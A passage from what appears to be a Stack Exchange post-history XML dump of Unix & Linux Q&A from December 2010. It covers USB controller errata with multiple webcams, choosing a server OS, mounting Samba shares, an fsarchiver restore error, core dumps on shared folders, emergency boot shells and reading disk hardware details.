H55) on the first&#xD;&#xA;   EHCI controller. This can happen when&#xD;&#xA;   AC power is removed after entering&#xD;&#xA;   ACPI S4. Adding AC power back and&#xD;&#xA;   resuming from S4 may result in non&#xD;&#xA;   detected or even non functioning USB&#xD;&#xA;   device (erratum 12) &#xD;&#xA;&gt; - Bogus USB ports&#xD;&#xA;   will be detected at mobile PCH&#xD;&#xA;   equipped with 6 USB ports (HM55) on&#xD;&#xA;   the first EHCI controller. This can&#xD;&#xA;   happen when AC power and battery are&#xD;&#xA;   removed after entering ACPI S4.&#xD;&#xA;   Adding AC power or battery back and&#xD;&#xA;   resuming from S4 may result in non&#xD;&#xA;   detected or even non functioning USB&#xD;&#xA;   device (erratum 13)&#xD;&#xA;&#xD;&#xA;This leads me to believe that adding a new PCI card will improve performance by removing load on the particular USB controller logic, but as a test try moving both the camera's to the same USB hub (matching stacked slots on the motherboard should be sufficient) and see if they exhibit the same problem. Dollars to pesos says that you'll have the EXACT same issue when you do this.&#xD;&#xA;&#xD;&#xA;However, I think it's more likely an issue with UVC drivers on Linux in general with multiple cameras handled by the same controller (as yours is), and not something specific to the hardware. I just thought I would start with the hardware first to address that particular bit (since it's entirely possible it could be at fault). Here's a string of related URLS:&#xD;&#xA;&#xD;&#xA; - http://answerpot.com/showthread.php?1074387-Running+multiple+webcams+on+the+same+hub&#xD;&#xA; - http://www.mail-archive.com/linux-uvc-devel@lists.berlios.de/msg05235.html&#xD;&#xA; - http://sourceforge.net/projects/mjpg-streamer/forums/forum/739917/topic/2042468 (actually something else to consider)&#xD;&#xA; - http://www.lavrsen.dk/foswiki/bin/view/Motion/SupportQuestion2009x04x30x053208 (old)&#xD;&#xA; - http://www.lavrsen.dk/foswiki/bin/view/Motion/SupportQuestion2009x08x04x191406 (similar problem, new PCI USB)&#xD;&#xA; - http://lists.berlios.de/pipermail/linux-uvc-devel/2009-May/004806.html (direction for searching)&#xD;&#xA;&#xD;&#xA;Ok, that's enough rambling for now. Reply comments? &#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Intel_5_Series &quot;Ibex Peak&quot;&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Conventional_PCI &quot;PCI Bus&quot;&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Universal_Serial_Bus &quot;USB&quot;&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Platform_Controller_Hub &quot;Intel PCH&quot;&#xD;&#xA;&#xD;&#xA;--------&#xD;&#xA;tl;dr: get a USB PCI card and put one camera on there." />
  <row Id="11202" PostHistoryTypeId="5" PostId="5069" RevisionGUID="6547b4b2-8b2b-41eb-8340-047578afbd52" CreationDate="2010-12-21T23:20:00.703" UserId="3258" Comment="added 108 characters in body" Text="To the first point: [USB1.1 was a lot slower than USB2.0][3], in most cirumstances. Note that devices can still connect at the lower 1.1 speed of 12Mbps instead of the faster 480Mbps, but usually when this occurs it's either because the port is autonegotiating low or it is because one of the two devices is really 1.1. Try disconnecting and reconnecting if you experience this and are sure both are 2.0 and your OS has support for 2.0. (general advice, ya?) ~~ Anyways, that was why they recommended a new card. So that you could use the full USB1.1 speed per individual camera since the [PCI bus][2] is way faster than USB1.1. But with 2.0 that's not necessary. [dead horse flogged, going on to next topic]&#xD;&#xA;&#xD;&#xA;Now onto your device specifically. You've a Core i5 by most ostensible metrics, namely: Intel 5 / 3400 series PCH and 82801 PCI bridge. (side note: confirmed that he has a Dell Core i5) This particular PCH is also code-named [Ibex Peak][1]. You no longer have an independent southbridge (as it is my understanding) so you're possibly open to new behavior that didn't exist before. The integrated chipset now handles the USB much closer to the DMA, so I expect that the issue is EITHER with the 5/3400 chipset or that the issue is with the driver. Either are easy to test, but they do require an initial capital outlay, so that sucks.&#xD;&#xA;&#xD;&#xA;Here's my reasoning why I think it's the chipset and not the cameras or drivers: There are [known issues with the Intel PCH][4] (I'm going to quote now to save back and forth clicking:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; - USB ports hang with bulk and control&#xD;&#xA;   traffic (erratum 7 &amp; Microsoft&#xD;&#xA;   KB982091[1]) &#xD;&#xA;&gt; - Bogus USB ports will be&#xD;&#xA;   detected at desktop PCH equipped with&#xD;&#xA;   6 USB ports (3420, H55) on the first&#xD;&#xA;   EHCI controller. This can happen when&#xD;&#xA;   AC power is removed after entering&#xD;&#xA;   ACPI S4. Adding AC power back and&#xD;&#xA;   resuming from S4 may result in non&#xD;&#xA;   detected or even non functioning USB&#xD;&#xA;   device (erratum 12) &#xD;&#xA;&gt; - Bogus USB ports&#xD;&#xA;   will be detected at mobile PCH&#xD;&#xA;   equipped with 6 USB ports (HM55) on&#xD;&#xA;   the first EHCI controller. This can&#xD;&#xA;   happen when AC power and battery are&#xD;&#xA;   removed after entering ACPI S4.&#xD;&#xA;   Adding AC power or battery back and&#xD;&#xA;   resuming from S4 may result in non&#xD;&#xA;   detected or even non functioning USB&#xD;&#xA;   device (erratum 13)&#xD;&#xA;&#xD;&#xA;This leads me to believe that adding a new PCI card will improve performance by removing load on the particular USB controller logic, but as a test try moving both the camera's to the same USB hub (matching stacked slots on the motherboard should be sufficient) and see if they exhibit the same problem. Dollars to pesos says that you'll have the EXACT same issue when you do this.&#xD;&#xA;&#xD;&#xA;However, I think it's more likely an issue with UVC drivers on Linux in general with multiple cameras handled by the same controller (as yours is), and not something specific to the hardware. I just thought I would start with the hardware first to address that particular bit (since it's entirely possible it could be at fault). Here's a string of related URLS:&#xD;&#xA;&#xD;&#xA; - http://answerpot.com/showthread.php?1074387-Running+multiple+webcams+on+the+same+hub&#xD;&#xA; - http://www.mail-archive.com/linux-uvc-devel@lists.berlios.de/msg05235.html&#xD;&#xA; - http://sourceforge.net/projects/mjpg-streamer/forums/forum/739917/topic/2042468 (actually something else to consider)&#xD;&#xA; - http://www.lavrsen.dk/foswiki/bin/view/Motion/SupportQuestion2009x04x30x053208 (old)&#xD;&#xA; - http://www.lavrsen.dk/foswiki/bin/view/Motion/SupportQuestion2009x08x04x191406 (similar problem, new PCI USB)&#xD;&#xA; - http://lists.berlios.de/pipermail/linux-uvc-devel/2009-May/004806.html (direction for searching)&#xD;&#xA; - http://www.lavrsen.dk/foswiki/bin/view/Motion/SupportQuestion2009x05x28x183617 (from motion, but older)&#xD;&#xA;&#xD;&#xA;Ok, that's enough rambling for now. Reply comments? &#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Intel_5_Series &quot;Ibex Peak&quot;&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Conventional_PCI &quot;PCI Bus&quot;&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Universal_Serial_Bus &quot;USB&quot;&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Platform_Controller_Hub &quot;Intel PCH&quot;&#xD;&#xA;&#xD;&#xA;--------&#xD;&#xA;tl;dr: get a USB PCI card and put one camera on there." />
  <row Id="11203" PostHistoryTypeId="2" PostId="5070" RevisionGUID="f5c1cded-ae8f-4e4d-b50a-0c5e72667c2c" CreationDate="2010-12-21T23:24:53.447" UserId="29" Text="I need a server, and I'm used to windows at home and in the office, but it seems that Unix / Linux is an option, but I don't really know what it is. I don't know which one to get, how do I choose? What kinds of questions do I need to ask my host (if applicable)? my system administrators? my programmers?" />
  <row Id="11204" PostHistoryTypeId="1" PostId="5070" RevisionGUID="f5c1cded-ae8f-4e4d-b50a-0c5e72667c2c" CreationDate="2010-12-21T23:24:53.447" UserId="29" Text="How do I choose between Unix / Linux and Windows in a Server environment?" />
  <row Id="11205" PostHistoryTypeId="3" PostId="5070" RevisionGUID="f5c1cded-ae8f-4e4d-b50a-0c5e72667c2c" CreationDate="2010-12-21T23:24:53.447" UserId="29" Text="élinuxàéwindowsàéunixàéserveràébsdà" />
  <row Id="11206" PostHistoryTypeId="10" PostId="5064" RevisionGUID="cf74b9da-0e9e-4f97-b796-17be23397feb" CreationDate="2010-12-21T23:25:34.010" UserId="29" CloseReasonId="1" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="11207" PostHistoryTypeId="5" PostId="5064" RevisionGUID="c286035b-8ad9-48cc-8499-a0425aa75521" CreationDate="2010-12-21T23:25:34.163" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How do I choose between Unix / Linux and Windows in a Server environment?](http://unix.stackexchange.com/questions/5070/how-do-i-choose-between-unix-linux-and-windows-in-a-server-environment)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I need a VPS, and a supplier is providing me a CentOS one at a cheap rate, but I'm a Windows user normally. I need to know:&#xD;&#xA;&#xD;&#xA;1. What is the difference in usage between CentOS and Windows?&#xD;&#xA;2. Do all Windows applications run on CentOS as well?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11208" PostHistoryTypeId="16" PostId="5070" RevisionGUID="797671bd-fbb7-4c3c-84f4-0a9301134780" CreationDate="2010-12-21T23:26:14.587" UserId="29" />
  <row Id="11209" PostHistoryTypeId="2" PostId="5071" RevisionGUID="ddcf15f3-2c02-48be-9741-f48b93b2eecb" CreationDate="2010-12-21T23:45:11.863" UserId="29" Text="Ask your programmers what language you need to be using, this is the *most* important part. Not all languages work on Unix and Windows. &#xD;&#xA;&#xD;&#xA;Take the language information to your Host, and ask them what environment it's supported in. You, also, need to ask your host whether the Sever will be *Managed* or *Unmanaged*. Managed means ifyou have any server problems the Host will fix them for you, if you put in a ticket with support (my $dayjob). Unmanaged means you're on your own. In the Managed scenario, you will get some kind of web interface control panel, such as [cPanel](http://www.cpanel.net/) or [Plesk](http://www.parallels.com/).&#xD;&#xA;&#xD;&#xA;If you're unmanaged, you should have actual employed system administrators, ask them what they want. Or you need to be able to be a system administrator yourself.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11210" PostHistoryTypeId="2" PostId="5072" RevisionGUID="19b87878-b83d-4884-99f3-b1d5dc2f2b60" CreationDate="2010-12-22T00:11:08.650" UserId="1257" Text="The most important question to ask:&#xD;&#xA;&#xD;&#xA;*Do you have experience with Linux servers?*&#xD;&#xA;&#xD;&#xA;If the answer is NO across the board, then go with Windows server.  In this case maintenance costs will outweigh licensing costs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11211" PostHistoryTypeId="5" PostId="5071" RevisionGUID="8df2a9b4-bf3a-45d2-9ff5-fa23af4d8a89" CreationDate="2010-12-22T00:12:00.303" UserId="29" Comment="comment further" Text="Ask your programmers what language you need to be using, this is the *most* important part. Not all languages work on Unix and Windows. &#xD;&#xA;&#xD;&#xA;Take the language information to your Host, and ask them what environment it's supported in. You, also, need to ask your host whether the Sever will be *Managed* or *Unmanaged*. Managed means ifyou have any server problems the Host will fix them for you, if you put in a ticket with support (my $dayjob). Unmanaged means you're on your own. In the Managed scenario, you will get some kind of web interface control panel, such as [cPanel](http://www.cpanel.net/) or [Plesk](http://www.parallels.com/).&#xD;&#xA;&#xD;&#xA;If you're unmanaged, you should have actual employed system administrators, ask them what they want. Or you need to be able to be a system administrator yourself.&#xD;&#xA;&#xD;&#xA;If both windows, and *nix turn out to be suitable for your needs, go with the cheaper of the 2, if they both cost the same, find out what the admins (including the ones at the host) know better, or which department (windows or *nix) has more admins.&#xD;&#xA;" />
  <row Id="11212" PostHistoryTypeId="2" PostId="5073" RevisionGUID="384e0299-87ec-4321-8b4f-f89bbe8c26e3" CreationDate="2010-12-22T00:23:15.640" UserId="229" Text="I have a trial RHEL version for a proof of concept where I was asked to mount a windows filesystem into linux. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I tried&#xD;&#xA;&#xD;&#xA;    mount -t smbfs -o username=samba,password=samba //Desktop/Public /mnt/public&#xD;&#xA;&#xD;&#xA;But it gives me: &#xD;&#xA;&#xD;&#xA;    mount: unknown filesystem type 'smbfs'&#xD;&#xA;&#xD;&#xA;I get to know I need samba-client to do this.&#xD;&#xA;&#xD;&#xA;Question. After executing &#xD;&#xA;&#xD;&#xA;    rpm -qa 'samba*'&#xD;&#xA;&#xD;&#xA;This is what I get:&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;    samba-common-3.0.33-3.28.el5:&#xD;&#xA;    samba-client-3.0.33-3.28.el5dir&#xD;&#xA;&#xD;&#xA;Does it mean I have samba-client already? If so, what do I need to to to mount the windows share?&#xD;&#xA;&#xD;&#xA;Someone suggested me to try: `yum -install samba-client` but since this is a trial version, I'm not subscribed to RHN and can't get the update. How else can I install the client?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Final question, if I can't do this, am I able to still mount for instance other RHEL? ( how is that called? regular mount or somthing? ) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11213" PostHistoryTypeId="1" PostId="5073" RevisionGUID="384e0299-87ec-4321-8b4f-f89bbe8c26e3" CreationDate="2010-12-22T00:23:15.640" UserId="229" Text="Mount samba filesystem into RHEL 5.5 " />
  <row Id="11214" PostHistoryTypeId="3" PostId="5073" RevisionGUID="384e0299-87ec-4321-8b4f-f89bbe8c26e3" CreationDate="2010-12-22T00:23:15.640" UserId="229" Text="éfilesystemsàémountàérhelàésambaà" />
  <row Id="11215" PostHistoryTypeId="5" PostId="5070" RevisionGUID="35a86d9b-3fab-4679-a9be-c0b213ddd17d" CreationDate="2010-12-22T01:08:28.390" UserId="29" Comment="leave a little more open ended" Text="I need a server, and I'm used to windows at home and in the office, but it seems that Unix / Linux is an option, but I don't really know what it is. I don't know which one to get, how do I choose? What kinds of questions do I need to ask my host (if applicable)? my system administrators? my programmers? is there anything else I should know?" />
  <row Id="11217" PostHistoryTypeId="2" PostId="5075" RevisionGUID="4ad03b70-5f1c-421a-9eca-8723c050aab1" CreationDate="2010-12-22T04:29:59.527" UserId="3265" Text="to learn unix  does it requires linux to be known as i am planning to do sun solaris,&#xD;&#xA;but i dont have knowledge of linux does it requires linux to do unix courses." />
  <row Id="11218" PostHistoryTypeId="1" PostId="5075" RevisionGUID="4ad03b70-5f1c-421a-9eca-8723c050aab1" CreationDate="2010-12-22T04:29:59.527" UserId="3265" Text="to learn unix  does it requires linux to be known" />
  <row Id="11219" PostHistoryTypeId="3" PostId="5075" RevisionGUID="4ad03b70-5f1c-421a-9eca-8723c050aab1" CreationDate="2010-12-22T04:29:59.527" UserId="3265" Text="élinuxàésolarisà" />
  <row Id="11220" PostHistoryTypeId="2" PostId="5076" RevisionGUID="9d65c561-facf-4c94-ab04-99ffaf5e5655" CreationDate="2010-12-22T04:58:21.160" UserId="825" Text="From the user perspective, all *nix like systems (Linux, Ubuntu, Red Hat, Sun/Solaris, AIX) are essentially the same. By this I mean that the commands a user uses most (vi, cat, more, cd, mkdir, rmdir, rm, cp, mv, man) are available and have mostly the same options.&#xD;&#xA;&#xD;&#xA;If, however, you want to do system administration they are different; sometimes very different.&#xD;&#xA;&#xD;&#xA;As for Unix courses, you'll have to check the course descriptions or ask your teachers." />
  <row Id="11221" PostHistoryTypeId="2" PostId="5077" RevisionGUID="4bd4a37a-51c7-4f74-ae7d-e6935a3823aa" CreationDate="2010-12-22T05:04:32.343" UserId="2292" Text="I am using NetBSD - I know ports and pkgsrc are available as package managers, but do these or any others come pre-installed in NetBSD?  &#xD;&#xA;" />
  <row Id="11222" PostHistoryTypeId="1" PostId="5077" RevisionGUID="4bd4a37a-51c7-4f74-ae7d-e6935a3823aa" CreationDate="2010-12-22T05:04:32.343" UserId="2292" Text="Do any package managers come installed default in NetBSD?" />
  <row Id="11223" PostHistoryTypeId="3" PostId="5077" RevisionGUID="4bd4a37a-51c7-4f74-ae7d-e6935a3823aa" CreationDate="2010-12-22T05:04:32.343" UserId="2292" Text="épackageömanagementàénetbsdà" />
  <row Id="11224" PostHistoryTypeId="2" PostId="5078" RevisionGUID="cada3867-bf95-484b-ac25-9bc328d66d64" CreationDate="2010-12-22T05:23:05.267" UserId="3266" Text="hi all&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;subject:  fsarchiver utility&#xD;&#xA;&#xD;&#xA;link: http://www.icewalkers.com/Linux/Software/535640/fsarchiver.html&#xD;&#xA;&#xD;&#xA;Kernel release..............2.6.18-164.2.1.el5PAE&#xD;&#xA;&#xD;&#xA;Red Hat OS release..........5.4&#xD;&#xA;&#xD;&#xA;I use the fsarchiver in order to make restore as the following&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;command:&#xD;&#xA;&#xD;&#xA;          fsarchiver restfs /tmp/backup/c0d0p2.fsa id=0,dest=/dev/cciss/c0d0p2&#xD;&#xA;&#xD;&#xA;its fail on:&#xD;&#xA;&#xD;&#xA;              [errno=22, Invalid argument]: oper_restore.c#213,extractar_restore_attr_xattr(): xattr:lsetxattr(/racoon,security.selinux) failed Statistics for filesystem 0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;please help what is it: errno=22 ???" />
  <row Id="11225" PostHistoryTypeId="1" PostId="5078" RevisionGUID="cada3867-bf95-484b-ac25-9bc328d66d64" CreationDate="2010-12-22T05:23:05.267" UserId="3266" Text="fsarchiver in order to make restore " />
  <row Id="11226" PostHistoryTypeId="3" PostId="5078" RevisionGUID="cada3867-bf95-484b-ac25-9bc328d66d64" CreationDate="2010-12-22T05:23:05.267" UserId="3266" Text="élinuxà" />
  <row Id="11227" PostHistoryTypeId="5" PostId="5075" RevisionGUID="eb94c6c1-3ed9-49d5-908b-b4465d11d760" CreationDate="2010-12-22T05:24:09.743" UserId="305" Comment="I guess it is more understandable but my English is far from being perfect.; edited title" Text="Is it required to know Linux to learn other Unix. I don't know Linux but I am planning to learn Sun Solaris." />
  <row Id="11228" PostHistoryTypeId="4" PostId="5075" RevisionGUID="eb94c6c1-3ed9-49d5-908b-b4465d11d760" CreationDate="2010-12-22T05:24:09.743" UserId="305" Comment="I guess it is more understandable but my English is far from being perfect.; edited title" Text="Is knowing Linux required to learn Unix " />
  <row Id="11229" PostHistoryTypeId="5" PostId="5078" RevisionGUID="b9333ce4-80e0-41cb-bae5-16d420c7a7ba" CreationDate="2010-12-22T06:02:06.340" UserId="73" Comment="deleted 115 characters in body; edited tags; edited title" Text="I'm running the following [fsarchiver](http://www.icewalkers.com/Linux/Software/535640/fsarchiver.html) command:&#xD;&#xA;&#xD;&#xA;    $ fsarchiver restfs /tmp/backup/c0d0p2.fsa id=0,dest=/dev/cciss/c0d0p2&#xD;&#xA;&#xD;&#xA;I get the following error:&#xD;&#xA;&#xD;&#xA;    [errno=22, Invalid argument]: oper_restore.c#213,extractar_restore_attr_xattr(): xattr:lsetxattr(/racoon,security.selinux) failed Statistics for filesystem 0&#xD;&#xA;&#xD;&#xA;What is errno 22? How do I fix it? I'm using Red Hat 5.4, Linux kernel 2.6.18-164.2.1.el5PAE&#xD;&#xA;" />
  <row Id="11230" PostHistoryTypeId="4" PostId="5078" RevisionGUID="b9333ce4-80e0-41cb-bae5-16d420c7a7ba" CreationDate="2010-12-22T06:02:06.340" UserId="73" Comment="deleted 115 characters in body; edited tags; edited title" Text="fsarchiver error" />
  <row Id="11231" PostHistoryTypeId="6" PostId="5078" RevisionGUID="b9333ce4-80e0-41cb-bae5-16d420c7a7ba" CreationDate="2010-12-22T06:02:06.340" UserId="73" Comment="deleted 115 characters in body; edited tags; edited title" Text="élinuxàéfsarchiverà" />
  <row Id="11232" PostHistoryTypeId="5" PostId="5063" RevisionGUID="90bb72da-e130-41c5-83a6-07d7ca862de2" CreationDate="2010-12-22T06:44:54.450" UserId="3255" Comment="more info" Text="I have an application that I'm working on, and I'm having trouble getting a core dump when it segfaults.  In fact, I'm having trouble getting real core dump files at all.  A simple test case will generate a core dump file, but it's zero length.&#xD;&#xA;&#xD;&#xA;I've got `ulimit -c unlimited` set.  This is 64-bit Ubuntu Maverick.  &lt;strike&gt;Any hint what to do next?&lt;/strike&gt;&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ ulimit -c&#xD;&#xA;    unlimited&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ cat mkcore.cpp&#xD;&#xA;    int main() { *((int *)0) = 0; }&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ g++ -g mkcore.cpp -o mkcore&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ ./mkcore &#xD;&#xA;    Segmentation fault&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ ls -l core*&#xD;&#xA;    -rw-r--r-- 1 dlee dlee 0 2010-12-21 15:00 core.2993&#xD;&#xA;&#xD;&#xA;_Edit:_ More information&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ tail -n +1 /proc/sys/kernel/core_*&#xD;&#xA;    ==&gt; /proc/sys/kernel/core_pattern &lt;==&#xD;&#xA;    core&#xD;&#xA;&#xD;&#xA;    ==&gt; /proc/sys/kernel/core_pipe_limit &lt;==&#xD;&#xA;    0&#xD;&#xA;&#xD;&#xA;    ==&gt; /proc/sys/kernel/core_uses_pid &lt;==&#xD;&#xA;    1&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ tail /var/log/kern.log&#xD;&#xA;    &lt;snip/&gt;&#xD;&#xA;    Dec 21 16:07:40 dlee-oak kernel: [  133.863045] mkcore[1589]: segfault at 0 ip 000000000040043d sp 00007fffbd025510 error 6 in mkcore[400000+aa000]&#xD;&#xA;&#xD;&#xA;I've just realized that the filesystem the core file is being generated on is a [Parallels Shared Folder][1].  (This Ubuntu instance is running on a Parallels VM on my Mac).  When I run the app from a directory that's on local disk, core file is generated as expected.&#xD;&#xA;&#xD;&#xA;So I'll change the question slightly: why isn't it generating the core file on the prl_fs filesystem?  Just curious...&#xD;&#xA;&#xD;&#xA;_Edit #2:_&#xD;&#xA;&#xD;&#xA;You'll note that when it generates the zero length core file, it does not print `(core dumped)`.  I did double check my sanity, and yes the zero length core file is really being created.&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ X=$(pwd)&#xD;&#xA;    [dlee@dlee-oak t]$ ls -l core*&#xD;&#xA;    ls: cannot access core*: No such file or directory&#xD;&#xA;    [dlee@dlee-oak t]$ ./mkcore &#xD;&#xA;    Segmentation fault&#xD;&#xA;    [dlee@dlee-oak t]$ ls -l core*&#xD;&#xA;    -rw-r--r-- 1 dlee dlee 0 2010-12-22 00:41 core.6009&#xD;&#xA;&#xD;&#xA;    [dlee@dlee-oak t]$ cd ~&#xD;&#xA;    [dlee@dlee-oak ~]$ $X/mkcore&#xD;&#xA;    Segmentation fault (core dumped)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://download.parallels.com/desktop/v6/docs/en/Parallels_Desktop_Users_Guide/22907.htm" />
  <row Id="11233" PostHistoryTypeId="2" PostId="5079" RevisionGUID="1b9004e2-e2c2-408c-b3cb-c66a84cbeab1" CreationDate="2010-12-22T06:52:27.330" UserId="3267" Text="I have occasionally installed `cloud-init` package in Ubuntu, which blocks me from booting. Neither recovery mode works. Because `cloud-init` installed some upstart job configuration.&#xD;&#xA;So I want to enter into busybox to remove `/etc/init/cloud-init*.conf`, but it seems like no way to do it. I can press &lt;kbd&gt;Ctrl+Alt+SysRq&lt;/kbd&gt; which brings on a rough hack menu, but there is no busybox option. So is it possible? My CDROM is broken so I can't use Live CD too.&#xD;&#xA;" />
  <row Id="11234" PostHistoryTypeId="1" PostId="5079" RevisionGUID="1b9004e2-e2c2-408c-b3cb-c66a84cbeab1" CreationDate="2010-12-22T06:52:27.330" UserId="3267" Text="How to enter into BusyBox when booting?" />
  <row Id="11235" PostHistoryTypeId="3" PostId="5079" RevisionGUID="1b9004e2-e2c2-408c-b3cb-c66a84cbeab1" CreationDate="2010-12-22T06:52:27.330" UserId="3267" Text="éubuntuàégrubàébootàébusyboxà" />
  <row Id="11238" PostHistoryTypeId="2" PostId="5081" RevisionGUID="fd536b9c-7cc1-492d-8b75-fc49d4f74eec" CreationDate="2010-12-22T07:32:31.740" UserId="2624" Text="You can try adding the string init=/bin/sh to the kernel line in grub. This should bring you into a shell. Then mount the root filesystem read-write with&#xD;&#xA;&#xD;&#xA;    mount / -o remount,rw&#xD;&#xA;and make your changes." />
  <row Id="11239" PostHistoryTypeId="2" PostId="5082" RevisionGUID="7c6a7225-0a5c-4ea7-98ae-35d6f730a5b3" CreationDate="2010-12-22T08:32:16.767" UserId="2567" Text="No, they are similar but there is no dependencies between the two.&#xD;&#xA;So you can learn Solaris without knowing anything about Linux.&#xD;&#xA;&#xD;&#xA;On the other hand, I don't think it's a bad thing to know a little bit about how the different versions of unix behave...." />
  <row Id="11240" PostHistoryTypeId="2" PostId="5083" RevisionGUID="5feb0c25-8cd6-45a3-a3c9-4205babc602a" CreationDate="2010-12-22T09:56:15.783" UserId="3266" Text="hi all&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;subject fsarchiver tool (backup &amp; restore) how to download ready rpm file or pkg not tar file&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I want to download the latest version of  fsarchiver (I need PKG file or RPM file)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;how to download this utility?&#xD;&#xA;" />
  <row Id="11241" PostHistoryTypeId="1" PostId="5083" RevisionGUID="5feb0c25-8cd6-45a3-a3c9-4205babc602a" CreationDate="2010-12-22T09:56:15.783" UserId="3266" Text="fsarchiver tool (backup &amp; restore) how to download ready rpm file or pkg not tar file" />
  <row Id="11242" PostHistoryTypeId="3" PostId="5083" RevisionGUID="5feb0c25-8cd6-45a3-a3c9-4205babc602a" CreationDate="2010-12-22T09:56:15.783" UserId="3266" Text="élinuxà" />
  <row Id="11243" PostHistoryTypeId="2" PostId="5084" RevisionGUID="c0e3ea94-c69a-44ba-974f-b6ca6fd9a181" CreationDate="2010-12-22T10:47:07.190" UserId="1946" Text="Quoting [http://www.fsarchiver.org/Installation][1]:&#xD;&#xA;&#xD;&#xA;&gt; ## installation on fedora (using yum)&#xD;&#xA;Recent Fedora releases provide an official package for fsarchiver where all the optional features are enabled (lzma compression, encryption, ...). You can just use the following command to download and install fsarchiver and all its dependencies.&#xD;&#xA;`yum install fsarchiver`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fsarchiver.org/Installation" />
  <row Id="11244" PostHistoryTypeId="2" PostId="5085" RevisionGUID="b68f8b0d-0e39-4e84-80a5-c1957f120279" CreationDate="2010-12-22T10:56:44.867" UserId="3266" Text="hi all&#xD;&#xA;&#xD;&#xA;subject: LINUX - release.5.4- ( disk SCSI SATA) - verify disk details from linux&#xD;&#xA;&#xD;&#xA;with sfdisk -s I can see the disk capacity as the following:&#xD;&#xA;&#xD;&#xA;        sfdisk -s&#xD;&#xA;        /dev/cciss/c0d0: 143338560&#xD;&#xA;        total: 143338560 blocks&#xD;&#xA;&#xD;&#xA;but how to see also the disk details as disk manufacture ... etc&#xD;&#xA;&#xD;&#xA;* I try the: , but I not get the right info -(:&#xD;&#xA;&#xD;&#xA;     &#xD;&#xA;       hdparm -i  /dev/cciss/c0d0&#xD;&#xA;&#xD;&#xA;      /dev/cciss/c0d0:&#xD;&#xA;      HDIO_GET_IDENTITY failed: Inappropriate ioctl for device&#xD;&#xA;" />
  <row Id="11245" PostHistoryTypeId="1" PostId="5085" RevisionGUID="b68f8b0d-0e39-4e84-80a5-c1957f120279" CreationDate="2010-12-22T10:56:44.867" UserId="3266" Text="linux : how to see  disk details as disk manufacture ... etc" />
  <row Id="11246" PostHistoryTypeId="3" PostId="5085" RevisionGUID="b68f8b0d-0e39-4e84-80a5-c1957f120279" CreationDate="2010-12-22T10:56:44.867" UserId="3266" Text="élinuxà" />
  <row Id="11247" PostHistoryTypeId="5" PostId="5071" RevisionGUID="a1662087-670e-48af-b719-20b3155948d6" CreationDate="2010-12-22T12:13:11.137" UserId="688" Comment="added 1 characters in body" Text="Ask your programmers what language you need to be using, this is the *most* important part. Not all languages work on Unix and Windows. &#xD;&#xA;&#xD;&#xA;Take the language information to your Host, and ask them what environment it's supported in. You, also, need to ask your host whether the Sever will be *Managed* or *Unmanaged*. Managed means if you have any server problems the Host will fix them for you, if you put in a ticket with support (my $dayjob). Unmanaged means you're on your own. In the Managed scenario, you will get some kind of web interface control panel, such as [cPanel](http://www.cpanel.net/) or [Plesk](http://www.parallels.com/).&#xD;&#xA;&#xD;&#xA;If you're unmanaged, you should have actual employed system administrators, ask them what they want. Or you need to be able to be a system administrator yourself.&#xD;&#xA;&#xD;&#xA;If both windows, and *nix turn out to be suitable for your needs, go with the cheaper of the 2, if they both cost the same, find out what the admins (including the ones at the host) know better, or which department (windows or *nix) has more admins.&#xD;&#xA;" />
  <row Id="11248" PostHistoryTypeId="2" PostId="5086" RevisionGUID="2feb50c8-69b7-41cc-a684-ba29d07581cd" CreationDate="2010-12-22T13:12:56.313" UserId="3069" Text="Try these commands:&#xD;&#xA;&#xD;&#xA;    lshw -class disk  &#xD;&#xA;&#xD;&#xA;    hwinfo --disk&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;You may have to install `hwinfo`.&#xD;&#xA;&#xD;&#xA;Concerning `hdparm`:  &#xD;&#xA;hdparm(8) says:  &#xD;&#xA;&#xD;&#xA;    Although this utility is intended primarily for use with SATA/IDE hard disk &#xD;&#xA;    devices, several of the options are also valid (and permitted) for use with &#xD;&#xA;    SCSI hard disk devices and MFM/RLL hard disks with XT interfaces.&#xD;&#xA;&#xD;&#xA;and:&#xD;&#xA;&#xD;&#xA;    Some options (eg. -r for SCSI) may not work with old kernels as necessary &#xD;&#xA;    ioctl()´s were not supported." />
